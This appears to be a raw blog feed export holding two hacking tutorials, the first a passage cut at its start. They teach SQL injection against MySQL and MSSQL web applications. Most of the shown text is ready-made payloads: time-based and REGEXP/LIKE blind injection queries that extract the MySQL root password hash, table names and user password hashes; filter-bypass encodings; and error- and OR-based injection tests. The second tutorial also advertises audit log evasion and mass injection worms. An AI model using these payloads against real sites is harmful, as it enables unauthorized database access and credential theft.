Code:&lt;br /&gt;
SELECT 1,1 UNION SELECT 
IF(SUBSTRING(Password,1,1)=&#39;b&#39;,BENCHMARK(100000,SH A1(1)),0) 
User,Password FROM mysql.user WHERE User = ‘root’;&lt;br /&gt;
Code:&lt;br /&gt;
SELECT 1,1 UNION SELECT 
IF(SUBSTRING(Password,1,1)=&#39;c&#39;,BENCHMARK(100000,SH A1(1)),0) 
User,Password FROM mysql.user WHERE User = ‘root’;&lt;br /&gt;
Code:&lt;br /&gt;
SELECT 1,1 UNION SELECT 
IF(SUBSTRING(Password,1,1)=&#39;d&#39;,BENCHMARK(100000,SH A1(1)),0) 
User,Password FROM mysql.user WHERE User = ‘root’;&lt;br /&gt;
And so on until you will see the BENCHMARK running (few more seconds delay). Now proceed with the 2nd word of the password...&lt;br /&gt;
__________________________________________________ _________________________&lt;br /&gt;
&lt;br /&gt;
Time attack (MSSQL)&lt;br /&gt;
In this example we will try to obtain the username of the sysusers table.&lt;br /&gt;
A simple way to generate time delays is to take advantage of one of the biggest database&lt;br /&gt;
problems, that have made necessary the development of performance-tuning techniques;&lt;br /&gt;
heavy queries. All you need to generate a time delay is to access a table that has some&lt;br /&gt;
registers and to build a good query to force the engine to work. In other words, we need to&lt;br /&gt;
build a query ignoring what the performance best practices recommend.&lt;br /&gt;
Code:&lt;br /&gt;
site.com/news.aspx?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as&lt;br /&gt;
sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6,&lt;br /&gt;
sysusers AS sys7, sysusers AS sys8)&amp;gt;1 and 300&amp;gt;(select top 1&lt;br /&gt;
ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
&lt;br /&gt;
Positive result. The condition is true, and the response has a delay of 14 seconds. We actually&lt;br /&gt;
know that the ASCII value of the first username’s letter in the sysusers table is lower than&lt;br /&gt;
300.&lt;br /&gt;
Code:&lt;br /&gt;
site.com/news.aspx?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as&lt;br /&gt;
sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6,&lt;br /&gt;
sysusers AS sys7, sysusers AS sys8)&amp;gt;1 and 0 &amp;gt;(select top 1 ascii(substring(name,1,1))&lt;br /&gt;
from sysusers)&lt;br /&gt;
&lt;br /&gt;
Negative Result. One-second response delay. We actually know than the ASCII value of the&lt;br /&gt;
first username’s letter in the sysusers table is higher than 0.&lt;br /&gt;
And so on for all the possibilities:&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 300 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
14 seconds -&amp;gt; TRUE&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 0 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
1 second False&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 150 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
14 seconds TRUE&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 75 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
1 second False&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 100 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
1 Second FALSE&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 110 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
1 Second FALSE&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 120 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
14 Seconds TRUE&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 115 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
1 Second FALSE&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 118 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
1 Second FALSE&lt;br /&gt;
Code:&lt;br /&gt;
[...] &amp;gt;1 and 119 &amp;gt;(select top 1 ascii(substring(name,1,1)) from sysusers)&lt;br /&gt;
1 Second FALSE&lt;br /&gt;
&lt;br /&gt;
Then the result is ASCII(119)=&#39;w&#39;.&lt;br /&gt;
Start with the second letter... and so on!&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Regexp attack&#39;s methodology&lt;br /&gt;
This is faster to extract information from a database. With this&lt;br /&gt;
you can save a lot of time and bandwidth!&lt;br /&gt;
The methodology is pretty simple: we define a range of numbers/chars/spacial chars that will&lt;br /&gt;
be matched with REGEXP (MySQL) or LIKE (MSSQL) functions.&lt;br /&gt;
Let&#39;s start with an example because is more simple to understand.&lt;br /&gt;
&lt;br /&gt;
Finding table name with Regexp attack (MySQL)&lt;br /&gt;
In this example we will extract the first matched record of information_schema.tables, you&lt;br /&gt;
must know the name of database!&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables LIMIT 0,1)&lt;br /&gt;
We tested the blind sql injection attack, and if we see the correct page, everything is ok.&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; AND table_name REGEXP &#39;^[a-z]&#39; LIMIT 0,1)&lt;br /&gt;
In this case we know that the first matched record start with a char between [a -&amp;gt; z]&lt;br /&gt;
That example will show you how to extract the complete name of the record:&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; AND table_name REGEXP &#39;^[a-n]&#39; LIMIT 0,1)&lt;br /&gt;
TRUE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; AND table_name REGEXP &#39;^[a-g]&#39; LIMIT 0,1)&lt;br /&gt;
FALSE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; AND table_name REGEXP &#39;^[h-n]&#39; LIMIT 0,1)=&lt;br /&gt;
TRUE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; AND table_name REGEXP &#39;^[h-l]&#39; LIMIT 0,1)&lt;br /&gt;
FALSE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; AND table_name REGEXP &#39;^m&#39; LIMIT 0,1)&lt;br /&gt;
FALSE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; AND table_name REGEXP &#39;^n&#39; LIMIT 0,1)&lt;br /&gt;
TRUE&lt;br /&gt;
The first letter of the table is &#39;n&#39;. But are there other tables start with &#39;n&#39;? Let&#39;s change the&lt;br /&gt;
limit to 1,1:&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; AND table_name REGEXP &#39;^n&#39; LIMIT 1,1)&lt;br /&gt;
TRUE&lt;br /&gt;
No, there are no more tables that start with &#39;n&#39;. From now on we must change the regular&lt;br /&gt;
expression like this: &#39;^n[a-z]&#39; -&amp;gt; &#39;^ne[a-z]&#39; -&amp;gt; &#39;^new[a-z]&#39; -&amp;gt; &#39;^news[a-z]&#39; -&amp;gt; FALSE&lt;br /&gt;
To test if we found the correct table name, we must test something like this: &#39;^news$&#39;.&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Finding table name with Regexp attack (MSSQL)&lt;br /&gt;
For MSSQL, the syntax is a little bit more complicated. There are two limitations: LIMIT and&lt;br /&gt;
REGEXP are not present. To bypass it, we must use TOP and LIKE functions. See that example:&lt;br /&gt;
Code:&lt;br /&gt;
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; and table_name LIKE &#39;[a-z]%&#39; )&lt;br /&gt;
TRUE&lt;br /&gt;
&lt;br /&gt;
SELECT TOP is used to extract the first x record from information_schema table.&lt;br /&gt;
In MSSQL, LIKE function is similar to REGEXP function in MySQL, but the 
syntax is not equal.When you need to grab the second table_name, you 
must use:&lt;br /&gt;
Code:&lt;br /&gt;
table_name NOT IN ( SELECT TOP x table_name FROM information_schema.tables)&lt;br /&gt;
like in the example below:&lt;br /&gt;
Code:&lt;br /&gt;
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE&lt;br /&gt;
TABLE_SCHEMA=&quot;blind_sqli&quot; and table_name NOT IN ( SELECT TOP 1 table_name&lt;br /&gt;
FROM information_schema.tables) and table_name LIKE &#39;[a-z]%&#39; )&lt;br /&gt;
&lt;br /&gt;
The second SELECT TOP is used to exclude X row and extract the X+1.&lt;br /&gt;
Like in the MySQL example, we show how to modify LIKE expression, to extract the first row:&lt;br /&gt;
&#39;n[a-z]%&#39; -&amp;gt; &#39;ne[a-z]%&#39; -&amp;gt; &#39;new[a-z]%&#39; -&amp;gt; &#39;news[a-z]%&#39; -&amp;gt; TRUE&lt;br /&gt;
Otherwise MySQL ending, we have TRUE because &#39;%&#39; define any string of zero or more&lt;br /&gt;
characters.&lt;br /&gt;
To check the end, we must append “_” and verify if exist another character.&lt;br /&gt;
&#39;news%&#39; TRUE -&amp;gt; &#39;news_&#39; FALSE&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Exporting a value with Regexp attack (MySQL)&lt;br /&gt;
In this example we will extract a MD5 hash from a know table name (in this case &#39;users&#39;);&lt;br /&gt;
Remember: MD5 can ONLY contain [a-f0-9] values.&lt;br /&gt;
We will use the same methodology described in the “Finding table name”.&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#39;^[a-f]&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
FALSE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#39;^[0-9]&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
TRUE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#39;^[0-4]&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
FALSE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#39;^[5-9]&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
TRUE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#39;^[5-7]&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
TRUE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#39;^5&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
TRUE&lt;br /&gt;
Our hash start with &#39;5&#39; in just 6 try!&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Exporting a value with Regexp attack (MSSQL)&lt;br /&gt;
Same thing as MySQL and “Finding Table name”. We now continue the search of second char.&lt;br /&gt;
An example below:&lt;br /&gt;
Code:&lt;br /&gt;
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#39;5[a-f]%&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
TRUE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#39;5[a-c]%&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
FALSE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#39;5[d-f]%&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
TRUE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#39;5[d-e]%&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
FALSE&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#39;5f%&#39; AND&lt;br /&gt;
ID=1)&lt;br /&gt;
TRUE&lt;br /&gt;
We have found our second char is &#39;f&#39; in just 5 try! (This is also the worst case for brute-force)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Time considerations&lt;br /&gt;
Take for example the MD5 case. We must export an hash of 32 chars using a blind sql&lt;br /&gt;
injection.&lt;br /&gt;
You know that there are only 16 chars to be tested (1234567890abcdef);&lt;br /&gt;
In an optimistic case, regexp and normal blind need 32 query to be done;&lt;br /&gt;
In a worst-case , regexp need 128 query and normal blind need 512 query;&lt;br /&gt;
&lt;br /&gt;
Let&#39;s take now a password case. We must export a 15 chars password 
mixalpha-numeric-special14. You know that there are 76 chars to be 
tested&lt;br /&gt;
(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW XYZ0123456789!@#$%^&amp;amp;*()-_+=);&lt;br /&gt;
In an optimistic case, regexp and normal blind need 15 query to be done;&lt;br /&gt;
In a worst-case, regexp need approx 94 query and normal blind need 1140 query;&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
Bypassing filters&lt;br /&gt;
Below are examples of common filters bypass.&lt;br /&gt;
TRIM (NO SPACES ALLOWED):&lt;br /&gt;
Code:&lt;br /&gt;
SELECT/*not important*/1/*really...*/FROM/*im serious*/users&lt;br /&gt;
(open and?&lt;br /&gt;
close a comment);&lt;br /&gt;
Code:&lt;br /&gt;
SELECT(1)FROM(information_schema.tables)&lt;br /&gt;
(? parentheses&#39;s rules)&lt;br /&gt;
Special chars like:&lt;br /&gt;
%0c = form feed, new page&lt;br /&gt;
%09 = horizontal tab&lt;br /&gt;
%0d = carriage return&lt;br /&gt;
%0a = line feed, new line&lt;br /&gt;
Example:&lt;br /&gt;
Code:&lt;br /&gt;
SELECT%09TABLE_NAME%09FROM%0dinformation_schema.ta bles&lt;br /&gt;
SPECIAL CHAR (NO &#39;, “ ALLOWED):&lt;br /&gt;
Usually the &#39; AND “ are used to input some kind of string. So you can input the HEX&lt;br /&gt;
value:&lt;br /&gt;
Code:&lt;br /&gt;
SELECT passwd FROM users WHERE username=0x61646d696e&lt;br /&gt;
Where 0x61646d696e is the hex value of &#39;admin&#39;&lt;br /&gt;
Or also using the CHAR function:&lt;br /&gt;
Code:&lt;br /&gt;
SELECT passwd FROM users WHERE&lt;br /&gt;
username=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR( 105),CHAR(110))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Conclusions&lt;br /&gt;
1. Is possible make a “combo” attack using “Time Attack” or other;&lt;br /&gt;
2. The regexp that you will use, could also be a list of chars like ?&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/5318105089463905675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/5318105089463905675'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/blind-sql-injection-regular-expressions.html' title='Blind Sql Injection – Regular Expressions Attack'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-4054057415264344115</id><published>2012-09-25T02:28:00.003+05:30</published><updated>2012-09-25T02:29:34.723+05:30</updated><title type='text'>Full Explanation Of MSSQL Injection </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Full Explanation Of MSSQL Injection Contents&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Contents&lt;/b&gt;&lt;br /&gt;
This is the contents of this document ENJOY learning !!!!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: magenta;&quot;&gt;[0x00] - Introduction&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01] - Know the Basic of SQL injection&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01a] - Introduction to SQL Injection Attack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01b] - How to Test sites that are Vulnerable in SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01c] - Bypass Authentication with SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01d] - Audit Log Evasion&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01e] - (Script) SQL-Google searching vulnerable sites&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02] - MSSQL Normal SQL Injection Attack&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02a] - ODBC Error Message Attack with &quot;HAVING&quot; and &quot;GROUP BY&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02b] - ODBC Error Message Attack with &quot;CONVERT&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02c] - MSSQL Injection with UNION Attack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02d] - MSSQL Injection in Web Services (SOAP Injection)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03] - MSSQL Blind SQL Injection Attack&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03b] - Determine data through Blind SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03c] - Exploit Query for get Table name&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03d] - Exploit Query for get Column name&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04] - More Dangerous SQL Injection Attack&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04a] - Dangerous from Extended Stored Procedures&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04b] - Advanced SQL Injection Techniques&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04c] - Mass MSSQL Injection Worms&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x05] - MSSQL Injection Cheat Sheet&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x06] - SQL Injection Countermeasures&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x07] - References&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x08] - Greetz To&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Not Fully Written By me&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Edited by - nu11_()_v0!d&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[0x00] - Introduction&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Welcome reader, this paper is a short attempt at documenting a practical technique&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; we have been working on. This papers will guide about technique that allows the attackers&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (us) gaining access into the process of exploiting a website via SQL Injection Techniques&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; that we focused on MSSQL only&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This paper is divided into 8 sections but only from section 0x01 to 0x06 are about technical information.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Section 0x01, we talk about basic knowledge of SQL injection vulnverabilities whichare classified into two types, normal and blind. Section 0x02, we give a detail of each way attacking through SQL injection. Section 0x03, we explain the way to enumerate data through blind sql injection technique. Section 0x04, we show more dangerous approaches which can occur through SQL injection vulnerabilities. Section 0x05, we collect MSSQL queries in several purposes.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Section 0x06, we offer some tips in order to prevent the system from SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[0x01] - Know the Basic of SQL injection&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; In this part we have five topics&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01a] - Introduction to SQL Injection Attack&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01b] - How to Test sites that are Vulnerable in SQL Injection&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01c] - Bypass Authentication with SQL Injection&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01d] - Audit Log Evasion&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01e] - (Script) SQL-Google searching vulnerable sites&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Arrow Introduction&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL injection vulnerabilities occur when the database server can be made to execute arbitrary SQL (Structured Query Language) commands. Typically executed through the web application front end (use interface, form, etc.), the attack involves entering malformed or unexpected SQL statements which result in unauthorized execution of SQL commands on the database server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01a] - Introduction to SQL Injection Attack&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL injection attacks occur when malicious SQL commands are injected into a predefined SQL query&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; in order to alter the outcome of the query. Take the example of an application that requests a user id for authentication. The application adds this user ID to a predefined SQL query to perform authentication.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; However, if instead of providing a valid user name the attacker inputs a specialized SQL command&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; that forces the termination of the predefined SQL query and forces the execution of a new SQL query. In this way the attacker can execute any SQL command on the host system without even needing to log in.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; A successful SQL injection exploit can read sensitive data from the database, modify database data&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; An application is vulnerable to SQL injection attack when:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; - User input is incorrectly filtered for string literal escape characters embedded in SQL statements.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; - User input is either not restricted ? e.g. through strong typing - and thereby can be made to execute in an unexpected manner&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL Injection always occur in application that needs to talk to a Database include:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; - Authentication forms (Login Pages)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; - Search forms&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; - E-Commerce sites&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; - Forum / Webboard&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; - Content Manage System (CMS&#39;s that use DB),Such as:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Joomla Components (http://www.milw0rm.com/search.php?dong=joomla)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Mambo Components (http://www.milw0rm.com/search.php?dong=mambo)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Wordpress Plugin (http://www.milw0rm.com/search.php?dong=wordpress)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01b] - How to Test sites that are vulnerable in SQL Injection&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; We must make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. The very first test usually consists of adding a single quote (&#39;) , double quote (&quot;&quot;) or a semicolon (;) to the field under test.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Simple URL] http://www.example.com/news.asp?id=10&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Test SQLi] http://www.example.com/news.asp?id=10&#39;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; It&#39;s vulnerable in SQL injection,If the output some error like this:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [HTTP Response]-----------------------------------------------------------------------------&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e14&#39;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; character string &#39;&#39;.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /news.asp, line 52&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [End HTTP Response]-------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Next solution, Use &quot;OR/AND&quot; Operation for testing SQL injection vulnerability:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If contains is the different as original URL that dump all data from database, It&#39;s vulnerable in SQL injection.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Simple URL] http://www.example.com/news.asp?id=2&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; News: 2&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Details: Preventing blind SQL injection attacks, Most security professionals know ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Test SQLi] http://www.example.com/news.asp?id=2&#39; or &#39;1&#39;=&#39;1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;
&lt;br /&gt;
